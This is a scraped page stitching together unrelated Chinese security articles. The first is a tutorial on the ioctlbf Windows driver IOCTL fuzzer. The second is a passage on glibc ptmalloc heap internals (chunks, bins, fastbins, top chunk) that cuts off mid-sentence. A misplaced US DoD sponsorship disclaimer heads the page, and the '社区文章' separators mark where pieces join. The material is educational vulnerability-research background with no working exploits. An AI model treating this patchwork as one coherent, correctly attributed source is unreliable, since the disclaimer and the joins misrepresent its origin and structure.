“此项工作由国防部国防研究与工程办公室副主任在空军FA8721-05-C-0002号合同框架内赞助。本文任何意见，解释，结论和建议是作者的观点，不一定得到美国政府的认可。” | 社区文章 |
这是内核漏洞挖掘技术系列的第十四篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
第六篇：[内核漏洞挖掘技术系列(4)——syzkaller(2)](https://xz.aliyun.com/t/5098
"内核漏洞挖掘技术系列\(4\)——syzkaller\(2\)")
第七篇：[内核漏洞挖掘技术系列(4)——syzkaller(3)](https://xz.aliyun.com/t/5154
"内核漏洞挖掘技术系列\(4\)——syzkaller\(3\)")
第八篇：[内核漏洞挖掘技术系列(4)——syzkaller(4)](https://xz.aliyun.com/t/5223
"内核漏洞挖掘技术系列\(4\)——syzkaller\(4\)")
第九篇：[内核漏洞挖掘技术系列(4)——syzkaller(5)](https://xz.aliyun.com/t/5401
"内核漏洞挖掘技术系列\(4\)——syzkaller\(5\)")
第十篇：[内核漏洞挖掘技术系列(5)——KernelFuzzer](https://xz.aliyun.com/t/5443
"内核漏洞挖掘技术系列\(5\)——KernelFuzzer")
第十一篇：[内核漏洞挖掘技术系列(6)——使用AFL进行内核漏洞挖掘(1)](https://xz.aliyun.com/t/5521
"内核漏洞挖掘技术系列\(6\)——使用AFL进行内核漏洞挖掘\(1\)")
第十二篇：[内核漏洞挖掘技术系列(7)——静态模式匹配](https://xz.aliyun.com/t/5764
"内核漏洞挖掘技术系列\(7\)——静态模式匹配")
第十三篇：[内核漏洞挖掘技术系列(6)——使用AFL进行内核漏洞挖掘(2)](https://xz.aliyun.com/t/5943
"内核漏洞挖掘技术系列\(6\)——使用AFL进行内核漏洞挖掘\(2\)")
前面介绍了很多内核漏洞挖掘工具和方法，要挖到操作系统中的内核漏洞还是有一定难度的，不过操作系统中通常还会安装第三方驱动，这些第三方驱动的代码质量参差不齐，挖掘其中的漏洞相对容易一些，而且同样也能达到获取system权限的效果。今天介绍windows操作系统中挖掘第三方驱动漏洞的经典工具ioctlbf(<https://github.com/koutto/ioctlbf>)。
## 概览
ioctlbf可以通过执行以下两个任务来发现windows内核驱动程序中的漏洞：
1.扫描驱动程序支持的IOCTL
2.进行基于生成的IOCTL fuzz
该工具的优点是它不依赖于捕获的IOCTL，因此能够检测驱动程序支持但是很少甚至从未被用户使用的IOCTL。例如可能在非常特定的条件下调用的IOCTL(不容易发现/复现)或者用于调试的IOCTL等等。扫描完成并找到给定驱动程序的有效IOCTL后，用户可以在列表中选择一个IOCTL以开始进行基于生成的IOCTL
fuzz。
代码目录结构如下。
inc：一些头文件
getopt.c：GNU中的getopt
ihm.c：打印输出
ioctl_bf.c：fuzzer的主要功能
ioctl_manipulation.c：ioctl_manipulation.h中定义了一个IOCTL列表。
ioctl_manipulation.c中提供了对该列表进行维护的函数。
rng.c：生成随机数
utilities.c：只有一个substr函数
ioctlbf代码量不多，最重要的也就是ioctl_bf.c文件。
## 使用
下面以对avira(小红伞)的驱动进行fuzz为例说明。
1.使用[DriverView](http://www.nirsoft.net/utils/driverview.html
"DriverView")之类的工具找到其驱动程序。
2.使用[DeviceTree](http://www.osronline.com/article.cfm?article=97
"DeviceTree")之类的工具检查与目标驱动程序关联的设备。这里确定了与avdevprot.sys对应的设备avdevprot。
3.反编译avdevprot.sys，在IDA中依次选择File->Produce File->Create C file…导出反编译的C文件。
4.搜索switch语句找到IOCTL。找到有效的IOCTL后即可使用ioctlbf。可以:1.只对一个IOCTL进行fuzz(-u参数)；2.扫描一个范围内有效的IOCTL(-r参数)；根据一个给定的IOCTL暴力破解枚举(-i参数)。
当然也可以去找对应的用户态程序调用DeviceIoControl的地方来找IOCTL。
5.选择一个IOCTL进行fuzz。
使用命令如下：
ioctlbf.EXE -d <deviceName> (-i <code>|-r <code1>-<code2>) [-u] [-q] [-f] [-e]
-d <deviceName>: 设备名(不含\\.\)
-i <code>: fuzz IOCTL的范围为code—code&0x00003fff
-r <code1>-<code2>: fuzz IOCTL的范围为code1-code2
-u: 只fuzz –i参数指定的那一个IOCTL
-f: 过滤掉对缓冲区长度没有限制的IOCTL
-q: fuzz时不显示hexdumps
-e: 扫描IOCTL时显示error code
-h: 显示帮助信息
## 代码分析
经过解析命令行参数等准备工作之后首先调用CreateFile函数打开-d参数指定的驱动，如果失败就退出。
接下来根据确定的IOCTL范围对每个IOCTL依次调用DeviceIoControl函数，如果遇到ERROR_ACCESS_DENIED错误或者ERROR_NOT_SUPPORTED错误就跳过。
如果设置了-f参数则再一次调用DeviceIoControl函数并将nInBufferSize参数和nOutBufferSize参数设置为MAX_BUFSIZE，即4096个字节。如果返回值不等于0则继续调用DeviceIoControl函数并将nInBufferSize参数和nOutBufferSize参数依次设置为0，1，2，3。如果返回值仍然不等于0表示该IOCTL对缓冲区长度没有限制，应该跳过。
接下来继续通过调用DeviceIoControl函数确定nInBufferSize和nOutBufferSize的最大值和最小值并将IOCTL，minBufferLength和maxBufferLength记录到IOCTLlist。
此时就可以开始fuzz了，如果没有指定-u参数则需要指定一个IOCTLlist中的IOCTL进行fuzz。fuzz分为4步。
第一步：给lpInBuffer和lpOutBuffer提供无效的地址。
第二步：提供比lpInBuffer和lpOutBuffer小的nInBufferSize和nOutBufferSize。
第三步：使用预设的DWORD(无效地址，指向长ascii/unicode字符串的地址，指向无效地址的表的地址)进行fuzz。
第四步：用完全随机的数据进行fuzz。
ioctlbf的一个改进版本是k0shl在2018年初发布的kDriver-Fuzzer(<https://github.com/k0keoyo/kDriver-Fuzzer>)，增加了驱动枚举和日志记录等功能，有兴趣可以进一步研究改进。 | 社区文章 |
Author： **jmpews（知道创宇404安全实验室)**
本文涉及到的相关资料可以参考 ：https://github.com/jmpews/pwn2exploit/
关于堆的分配原理我觉的这篇文章
[《glibc内存管理ptmalloc源代码分析》](http://paper.seebug.org/papers/Archive/refs/heap/glibc%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86ptmalloc%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90.pdf)
已经说得很详细。但是我尽力用 glibc 源码和自己的理解总结去概述, 本文章在说明时尽可能引用 `glibc-2.19` 中具体的代码和介绍,
用一些实例代码作为验证, 以及自己对 ptmalloc 的理解。
## 分析堆的相关工具
在 Phrack 的一篇文章中 [《Advanced Doug Lea's malloc
exploits》](http://paper.seebug.org/papers/Archive/refs/heap/%5BPhrack%5DAdvanced%20Doug%20lea%27s%20malloc%20exploits.pdf),
有一小节讲到 `Heap layout analysis` 作者利用了 `main_arena` 这个静态全局变量, 进行 heap dump 工作,
这里需要注意的是, 需要安装 `libc6-dbg` 以获取 `debugging symbols`, 此细节部分请查看
`参考资料/glibc的调试相关`.
这里介绍几个工具, 用于堆空间分配的分析.
下面几个工具都是解析堆空间分配的
下面几个工具大同小异, 简单介绍下原理, 都是采用 python 的 gdb 的 API, 关于 API 有一篇文章:
https://sourceware.org/gdb/onlinedocs/gdb/Breakpoints-In-Python.html#Breakpoints-In-Python
之后通过 cat /proc/PID/maps 获取 heap base, 通过 gdb 的 `x/` 查看内存, 通过 `debugging
symbols` 获取 `main_arena` 地址
https://github.com/cloudburst/libheap
https://github.com/Mipu94/peda-heap
https://github.com/hugsy/gef
https://github.com/pwndbg/pwndbg
* ltrace:
通过 ltrace 函数跟踪库函数调用。 关于 ltrace 的内部实现有一篇介绍文章,
[ltrace_internals.pdf](http://paper.seebug.org/papers/Archive/refs/ltrace_internals.pdf),
这里说一下大致原理, 起一个进程执行命令后, 根据 PID 拿到可执行文件, 之后按照 ELF 解析可执行文件, 拿到符号列表, 之后使用 ptrace
attach 到 PID 上, 并在所有函数符号上插入断点。
* 通过 LD_PRELOAD 的 hook 方式跟踪内存分配函数, 这也是 Phrack 中 [《Advanced Doug Lea's malloc exploits》](http://paper.seebug.org/papers/Archive/refs/heap/%5BPhrack%5DAdvanced%20Doug%20lea%27s%20malloc%20exploits.pdf) 利用的方法, 缺点就是需要重新执行程序: https://github.com/nihilus/HeapTracer/blob/master/linux-native
## 堆内存分配(ptmalloc设计)的思考
下面仅仅是个人在阅读完 ptmalloc 的分配和释放算法之后的一些关于 ptmalloc 设计上的一些想法, 毕竟之前是做开发的,
#### 0\. 为什么需要 ptmalloc
首先 **内存的分配和回收很频繁的** , 这也就是其他语言希望实现高效的 GC, 针对频繁的操作, 第一个想到的解决方法就是 **缓存** ,
这也就是为什么 ptmalloc 存在各种各样的缓冲区. 假如不存在缓冲区, 每次分配都需要触发系统调用贼慢. 接下来就要引出 ptmalloc
涉及到的几种缓存, 这里只是概念性的解释几种缓存, 具体会在下文详细介绍.
#### 1\. Bins
为了避免每次触发系统调用, 首先想到的解决方法就是释放的内存暂时不归还给系统, 标记为空闲, 等下一次再需要相同大小时, 直接使用这块空闲内存即可.
（存储结构是双向环链表, 类似 hash 表, hash 算法就是 chunk 的长度, 用双向环链表解决 hash 冲突)
这就涉及到, 刚刚释放的内存什么时候加到 Bins ? 相邻的两个空闲 chunk 什么时候合并? 怎么合并?
#### 2\. Top
另一个应该想到的就是, 可以先利用系统调用 `brk()` 分配一块比较大的内存作为缓存, 之后即使没有在 Bins 中也找不到,
也不需要每次触发系统调用, 直接切割这块大的内存即可.
这就涉及到 '这块大内存' 什么时候重新补充大小(不断切割会导致 top 变小)? 什么时候需要缩小(归还给系统)?
#### 3\. Fastbins
Bins 和 Top 缓存是最基本的, 如果想要做进一步的优化, 其实就是更细分的缓存, 也就是更准确的命中缓存, 这里 Fastbins
存在的更具体的原因是 **避免 chunk 重复切割合并**.
如果了解过 Python 源码的同学可能会更理解, 这里的 Fastbins 类似于 Python 中整数对象 PyIntObject 的小整数
`small_ints`, 这里也只是理念类似, small_ints 准确的说是预先初始化, 可以一直重复使用而不被释放.
Ok, 再回到 Fastbins 的讨论, 对于长度很小的 chunk 在释放后不会放到 Bins, 也不会标记为空闲, 这就避免了 **合并** ,
下次分配内存时首先查找 Fastbins, 这就避免了 **切割**.
#### 4\. Unsorted bin
Unsorted 是更细粒度的缓存, 属于 **'刚刚释放的内存'与 Bins 之间的缓存**.
在 **1\. Bins** 中提到一个问题, 刚刚释放的内存什么时候加到 Bins ? 这其实就与 Unsorted 有关, 刚刚释放的内存会先放到
Unsorted 缓存, 在下一次内存分配时, 会优先于 Bins 查找, 如果能命中 Unsorted 缓冲最好, 否则就把 Unsorted 中的
chunk 统一整理到对应 Bins.
#### 5\. last_remainder
这其实也是一个缓存, 是针对于切割时使用的, 大致就是希望一直切割同一个 chunk. 在遍历 Unsorted 时使用, 但是它的使用是有条件的.
以上就是在阅读完 ptmalloc 分配内存那一部分代码后对 ptmalloc 的缓存设计上的一些想法. 下面会具体介绍 ptmalloc
在进行堆内存用到的各种具体的数据结构.
## chunk 结构
#### chunk 结构
这里先贴出一段 `glibc-2.19/malloc/malloc.c` 中关于 chunk 的解释. 不再详细解释.
`boundary tag` 边界标记, 关于它下文会进行介绍
`INTERNAL_SIZE_T` 头部损耗, 参考 `eglibc-2.19/malloc/malloc.c:299`, 其实也就是 `size_t`.
eglibc-2.19/malloc/malloc.c:1094
/*
----------------------- Chunk representations ----------------------- */
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
// 一个 chunk 的完整结构体
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
/*
malloc_chunk details:
(The following includes lightly edited explanations by Colin Plumb.)
// chunk 的内存管理采用边界标识的方法, 空闲 chunk 的 size 在该 chunk 的 size 字段和下一个 chunk 的 pre_size 字段都有记录
Chunks of memory are maintained using a `boundary tag' method as
described in e.g., Knuth or Standish. (See the paper by Paul
Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a
survey of such techniques.) Sizes of free chunks are stored both
in the front of each chunk and at the end. This makes
consolidating fragmented chunks into bigger chunks very fast. The
size fields also hold bits representing whether chunks are free or
in use.
An allocated chunk looks like this:
// 正在使用的 chunk 布局
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if allocated | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
// 几个术语规定, 'chunk' 就是整个 chunk 开头, 'mem' 就是用户数据的开始, 'Nextchunk' 就是下一个 chunk 的开头
Where "chunk" is the front of the chunk for the purpose of most of
the malloc code, but "mem" is the pointer that is returned to the
user. "Nextchunk" is the beginning of the next contiguous chunk.
// chunk 是双字长对齐
Chunks always begin on even word boundaries, so the mem portion
(which is returned to the user) is also on an even word boundary, and
thus at least double-word aligned.
// 空闲 chunk 被存放在双向环链表
Free chunks are stored in circular doubly-linked lists, and look like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
// P 标志位不能放在 size 字段的低位字节, 用于表示前一个 chunk 是否在被使用, 如果为 0, 表示前一个 chunk 空闲, 同时 pre_size 也表示前一个空闲 chunk 的大小, 可以用于找到前一个 chunk 的地址, 方便合并空闲 chunk, 但 chunk 刚一开始分配时默认 P 为 1. 如果 P 标志位被设置, 也就无法获取到前一个 chunk 的 size, 也就拿不到前一个 chunk 地址, 也就无法修改正在使用的 chunk, 但是这是无法修改前一个 chunk, 但是可以通过本 chunk 的 size 获得下一个 chunk 的地址.
The P (PREV_INUSE) bit, stored in the unused low-order bit of the
chunk size (which is always a multiple of two words), is an in-use
bit for the *previous* chunk. If that bit is *clear*, then the
word before the current chunk size contains the previous chunk
size, and can be used to find the front of the previous chunk.
The very first chunk allocated always has this bit set,
preventing access to non-existent (or non-owned) memory. If
prev_inuse is set for any given chunk, then you CANNOT determine
the size of the previous chunk, and might even get a memory
addressing fault when trying to do so.
Note that the `foot' of the current chunk is actually represented
as the prev_size of the NEXT chunk. This makes it easier to
deal with alignments etc but can be very confusing when trying
to extend or adapt this code.
The two exceptions to all this are
// 这里的 the trailing size 是指下一个 chunk 的 pre_size, 因为 top 位于最高地址, 不存在相邻的下一个 chunk, 同时这里也解答了上面关于 top 什么时候重新填满
1. The special chunk `top' doesn't bother using the
trailing size field since there is no next contiguous chunk
that would have to index off it. After initialization, `top'
is forced to always exist. If it would become less than
MINSIZE bytes long, it is replenished.
2. Chunks allocated via mmap, which have the second-lowest-order
bit M (IS_MMAPPED) set in their size fields. Because they are
allocated one-by-one, each must contain its own trailing size field.
*/
阅读文档, 是理解的最快的方式之一.
`P (PREV_INUSE)` 标志位表示前一个 chunk 是否在使用, 0 为没有在使用.
`prev_size` 表示前一个 chunk 的大小, 仅在 `P (PREV_INUSE)` 为 0 时有效, 也就是前一个 chunk 为空闲状态.
`size` 表示该整个 chunk 大小, 并非 malloc 返回值.
`fd`, `bk`, `fd_nextsize`, `fd_nextsize` 是对于空闲 chunk 而言, 对于正在使用的 chunk,
从当前位置开始就是 malloc 返回给用户可用的空间.
`fd`, `bk` 组成了 Bins 的双向环链表
对于空闲的 chunk 空间布局, 见上, 是环形双向链表. 存放在空闲 chunk 容器中.
关于 chunk 有一些操作, 判断前一个是否在使用, 判断下一个 chunk 是否正在使用, 是不是 `mmap` 分配的, 以及对标志位 `P`
等的操作, 可以参考 `glibc-2.19/malloc/malloc.c:1206` 中 `Physical chunk operations`
一小节(直接搜素该关键字即可).
#### 边界标示
对于 chunk 的空间布局组织采用边界标示的方法, chunk 的存储是一段连续的内存, 其实就是 chunk 头部保存长度信息,
可以在适当的时候获取到前一个和后一个 chunk.
这里涉及到 chunk 到用户请求 mem 的想换转化操作, 以及对齐操作等. 请参考 `glibc-2.19/malloc/malloc.c:1258`
#### 空间复用
对于正在使用 chunk, **它的下一个 chunk 的`prev_size`** 是无效的, 所以这块内存被当前 chunk 给借用了,
因此对于请求分配 chunk 大小分配公式是 `chunk_size = (用户请求大小 + (2 - 1) *
sizeof(INTERNAL_SIZE_T)) align to 2 * sizeof(size_t)`
最后请参考 `eglibc-2.19/malloc/malloc.c:44`, 会指出一些默认参数值, 以及关于 chunk 的最小 size 和
对齐的相关说明. 这里列出来了一小部分.
Supported pointer representation: 4 or 8 bytes
Supported size_t representation: 4 or 8 bytes
Note that size_t is allowed to be 4 bytes even if pointers are 8.
You can adjust this by defining INTERNAL_SIZE_T
Alignment: 2 * sizeof(size_t) (default)
(i.e., 8 byte alignment with 4byte size_t). This suffices for
nearly all current machines and C compilers. However, you can
define MALLOC_ALIGNMENT to be wider than this if necessary.
Minimum overhead per allocated chunk: 4 or 8 bytes
Each malloced chunk has a hidden word of overhead holding size
and status information.
Minimum allocated size: 4-byte ptrs: 16 bytes (including 4 overhead)
8-byte ptrs: 24/32 bytes (including, 4/8 overhead)
When a chunk is freed, 12 (for 4byte ptrs) or 20 (for 8 byte
ptrs but 4 byte size) or 24 (for 8/8) additional bytes are
needed; 4 (8) for a trailing size field and 8 (16) bytes for
free list pointers. Thus, the minimum allocatable size is
16/24/32 bytes.
Even a request for zero bytes (i.e., malloc(0)) returns a
pointer to something of the minimum allocatable size.
The maximum overhead wastage (i.e., number of extra bytes
allocated than were requested in malloc) is less than or equal
to the minimum size, except for requests >= mmap_threshold that
are serviced via mmap(), where the worst case wastage is 2 *
sizeof(size_t) bytes plus the remainder from a system page (the
minimal mmap unit); typically 4096 or 8192 bytes.
翻译几个关键的点, chunk 的大小需要按照 Alignment 进行对齐, 每一个被分配的 chunk 都有一个字的头部消耗, 包含该 chunk
的大小以及状态信息, 具体会在 chunk 结构和边界标示说明.
## 空闲容器(缓存)
下面会介绍 ptmalloc 中存在的各种空闲容器
#### Bins
eglibc-2.19/malloc/malloc.c:1341
/*
-------------------- Internal data structures --------------------
All internal state is held in an instance of malloc_state defined
below. There are no other static variables, except in two optional
cases:
* If USE_MALLOC_LOCK is defined, the mALLOC_MUTEx declared above.
* If mmap doesn't support MAP_ANONYMOUS, a dummy file descriptor
for mmap.
Beware of lots of tricks that minimize the total bookkeeping space
requirements. The result is a little over 1K bytes (for 4byte
pointers and size_t.)
*/
/*
Bins
// Bins 就是由空闲 chunk - bin 组成数组, 每一个 bin 都是双向链表. Bin 存放是整理过的 chunks, 并且 bin 中合并过的空闲 chunk 是不存在相邻的, 所以 bin 中的每一个 chunk 都是可以被使用, 并且都是紧挨着正在使用的 chunk 或者 heap 内存末尾.
An array of bin headers for free chunks. Each bin is doubly
linked. The bins are approximately proportionally (log) spaced.
There are a lot of these bins (128). This may look excessive, but
works very well in practice. Most bins hold sizes that are
unusual as malloc request sizes, but are more usual for fragments
and consolidated sets of chunks, which is what these bins hold, so
they can be found quickly. All procedures maintain the invariant
that no consolidated chunk physically borders another one, so each
chunk in a list is known to be preceeded and followed by either
inuse chunks or the ends of memory.
// bins 中的 chunk 是按照大小排序的. FIFO, small bins 是不存在按大小排序的, 因为每一个 small bin 都是相同 size 的. 但是对于 large bin 是需要按照顺序插入的. 这样可以在内存分配时很快查找到合适内存.
Chunks in bins are kept in size order, with ties going to the
approximately least recently used chunk. Ordering isn't needed
for the small bins, which all contain the same-sized chunks, but
facilitates best-fit allocation for larger chunks. These lists
are just sequential. Keeping them in order almost never requires
enough traversal to warrant using fancier ordered data
structures.
// FIFO, 从头部插入节点, 尾部取节点. 这样有个特定就是更容易内存的合并.
Chunks of the same size are linked with the most
recently freed at the front, and allocations are taken from the
back. This results in LRU (FIFO) allocation order, which tends
to give each chunk an equal opportunity to be consolidated with
adjacent freed chunks, resulting in larger free chunks and less
fragmentation.
To simplify use in double-linked lists, each bin header acts
as a malloc_chunk. This avoids special-casing for headers.
But to conserve space and improve locality, we allocate
only the fd/bk pointers of bins, and then use repositioning tricks
to treat these as the fields of a malloc_chunk*.
*/
ptmalloc 采用分箱式管理空闲 chunk, 也就是 Bins. Bins 本身就是一个数组, 每一个存放的是一个对应长度的 chunk
双向环链表的头结点和尾节点. 相同 Size 的 chunk 才能组成一个环,Bins 是按大小依次进行存放.
关于 Bins 为什么定义为 `mchunkptr bins[NBINS * 2 - 2]` 而不是 `mchunkptr bins[NBINS * 4 -2]`, 是如何少一倍的空间实现的双向链表, 可以参考 `glibc内存管理ptmalloc源代码分析.pdf`, 这里大致说一下,
对于双向环的的标志头节点, 它的 `prev_size` 和 `size` 是无用的, 所以直接省略, 但是还要把它当成正确的 chunk 结构. 这里的
trick 就在于 `bin_at` 宏, 返回了伪造的 fake chunk 的地址, 这里和 `Double Free` 以及
`unlink绕过`的利用手法类似, 之后会在 `Double Free` 漏洞详细说明.
/* addressing -- note that bin_at(0) does not exist */
#define bin_at(m, i) \
(mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
- offsetof (struct malloc_chunk, fd))
这里举一个例子, 只摘取一部分, 完整的例子, 在下方的 ptmalloc 利用部分.
# 查看 unsorted bin 的地址, 其实也就是 bin[1] 的地址
(gdb) heap -b
===================================Heap Dump===================================
unsorted bin @ 0x7ffff7dd1b88
free chunk @ 0x602160 - size 0x90
free chunk @ 0x6020b0 - size 0x90
free chunk @ 0x602000 - size 0x90
# 这里的 0x7ffff7dd1B78 也就是 bin_at 返回的地址, 返回了一个伪造的 chunk 的地址
# 其实这里的 fd 和 bk 才真正属于 bin[1] 的内容.
(gdb) p *(mfastbinptr)0x7ffff7dd1B78
$17 = {prev_size = 6300176, size = 0, fd = 0x602160, bk = 0x602000, fd_nextsize = 0x7ffff7dd1b88 <main_arena+104>, bk_nextsize = 0x7ffff7dd1b88 <main_arena+104>}
#### small bins, large bins
对于 chunk `size < 512`, 是存放在 small bins, 有 64 个, 每个 bin 是以 8 bytes 作为分割边界,
也就相当于等差序列, 举个例子: small bins 中存放的第一个 `chunk 双向环链表` 全部都是由 size 为 16 bytes 大小的
chunk 组成的, 第二个 `chunk 双向环链表` 都是由 size 为 16+8 bytes 大小的 chunk 组成的. 但是对于 large
bins, 分割边界是递增的, 举个简单例子: 前 32 个 large bins 的分割边界都是 64 bytes, 之后 16 个 large bins
的分割边界是 512 bytes. 以上仅为字长为 32 位的情况下, 具体请参考如下.
eglibc-2.19/malloc/malloc.c:1436
/*
Indexing
Bins for sizes < 512 bytes contain chunks of all the same size, spaced
8 bytes apart. Larger bins are approximately logarithmically spaced:
64 bins of size 8
32 bins of size 64
16 bins of size 512
8 bins of size 4096
4 bins of size 32768
2 bins of size 262144
1 bin of size what's left
There is actually a little bit of slop in the numbers in bin_index
for the sake of speed. This makes no difference elsewhere.
The bins top out around 1MB because we expect to service large
requests via mmap.
Bin 0 does not exist. Bin 1 is the unordered list; if that would be
a valid chunk size the small bins are bumped up one.
*/
这涉及到如何根据 Size 在 Bins 中查到对应的 bin, 可以参考 `eglibc-2.19/malloc/malloc.c:1460`
large bin 有些特殊, 空闲 chunk 的存放需要排序, `large_bin->bk` 为最小 size 的 chunk,
`large_bin->fd` 为最大 size 的 chunk.
#### Fastbins
关于 Fastbins 的介绍, 可以参考 `eglibc-2.19/malloc/malloc.c:1570`
/*
Fastbins
// 单向链表, LIFO 规则
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
当进行内存分配时先从 Fastbins 中进行查找, 之后才在 Bins 进行查找; 释放内存时, 当chunk `size < max_fast`
会先存放到 Fastbins.
另一个需要注意的点就是 Fastbins 的合并(清空), 也就是 `malloc_consolidate` 这个函数的工作.
* 何时会触发 `malloc_consolidate`(仅对 `_int_malloc` 函数而言) ?
* small bins 尚未初始化
* 需要 size 大于 small bins
* `malloc_consolidate` 如何进行合并 ?
遍历 Fastbins 中的 chunk, 设置每个 chunk 的空闲标志位为 0, 并合并相邻的空闲 chunk, 之后把该 chunk 存放到
unsorted bin 中.
Fastbins 是单向链表, 可以通过 `fastbin->fd` 遍历 Fastbins.
#### unsorted bin
只有一个 unsorted bin, 进行内存分配查找时先在 Fastbins, small bins 中查找, 之后会在 unsorted bin
中进行查找, 并整理 unsorted bin 中所有的 chunk 到 Bins 中对应的 Bin. unsorted bin 位于 `bin[1]`.
`unsorted_bin->fd` 指向双向环链表的头结点, `unsorted_bin->bk` 指向双向环链表的尾节点, 在头部插入新的节点.
#### top chunk
以下引用来自 《glibc内存管理ptmalloc源代码分析》。
> 对于非主分配区会预先从 mmap 区域分配一块较大的空闲内存模拟 sub-heap,通过管 理 sub-heap
> 来响应用户的需求,因为内存是按地址从低向高进行分配的,在空闲内存的最 高处,必然存在着一块空闲 chunk,叫做 top chunk.当 bins 和
> fast bins 都不能满足分配需 要的时候,ptmalloc 会设法在 top chunk 中分出一块内存给用户,如果 top chunk
> 本身不够大, 分配程序会重新分配一个 sub-heap,并将 top chunk 迁移到新的 sub-heap 上, 新的 sub-heap 与已有的
> sub-heap 用单向链表连接起来,然后在新的 top chunk 上分配所需的内存以满足分配的需要,实际上,top chunk 在分配时总是在
> fast bins 和 bins 之后被考虑,所以,不论 top chunk 有多大,它都不会被放到 fast bins 或者是 bins 中. top
> chunk 的大小是随着分配和回 收不停变换的,如果从 top chunk 分配内存会导致 top chunk 减小,如果回收的 chunk 恰好 与
> top chunk 相邻,那么这两个 chunk 就会合并成新的 top chunk,从而使 top chunk 变大. 如果在 free
> 时回收的内存大于某个阈值,并且 top chunk 的大小也超过了收缩阈值,ptmalloc 会收缩 sub-heap,如果 top-chunk
> 包含了整个 sub-heap,ptmalloc 会调用 munmap 把整个 sub-heap 的内存返回给操作系统.
>
> 由于主分配区是唯一能够映射进程 heap 区域的分配区,它可以通过 sbrk()来增大或是 收缩进程 heap 的大小,ptmalloc
> 在开始时会预先分配一块较大的空闲内存 (也就是所谓的 heap), 主分配区的 top chunk 在第一次调用 mallocd
> 时会分配一块(chunk_size + 128KB) align 4KB 大小的空间作为初始的 heap,用户从 top chunk
> 分配内存时,可以直接取出一块内 存给用户.在回收内存时,回收的内存恰好与 top chunk 相邻则合并成新的 top
> chunk,当该次回收的空闲内存大小达到某个阈值,并且 top chunk 的大小也超过了收缩阈值,会执行内 存收缩,减小 top chunk
> 的大小,但至少要保留一个页大小的空闲内存,从而把内存归还给 操作系统.如果向主分配区的 top chunk 申请内存,而 top chunk
> 中没有空闲内存, ptmalloc 会调用 sbrk()将的进程 heap 的边界 brk 上移, 然后修改 top chunk 的大小.
top chunk 位于最高地址.
#### mmaped chunk
> 当需要分配的 chunk 足够大,而且 fast bins 和 bins 都不能满足要求,甚至 top chunk 本
> 身也不能满足分配需求时,ptmalloc 会使用 mmap 来直接使用内存映射来将页映射到进程空 间.这样分配的 chunk 在被 free
> 时将直接解除映射,于是就将内存归还给了操作系统,再 次对这样的内存区的引用将导致 segmentation fault 错误.这样的 chunk
> 也不会包含在任何 bin 中.
#### Last remainder
> Last remainder 是另外一种特殊的 chunk,就像 top chunk 和 mmaped chunk 一样,不会 在任何 bins
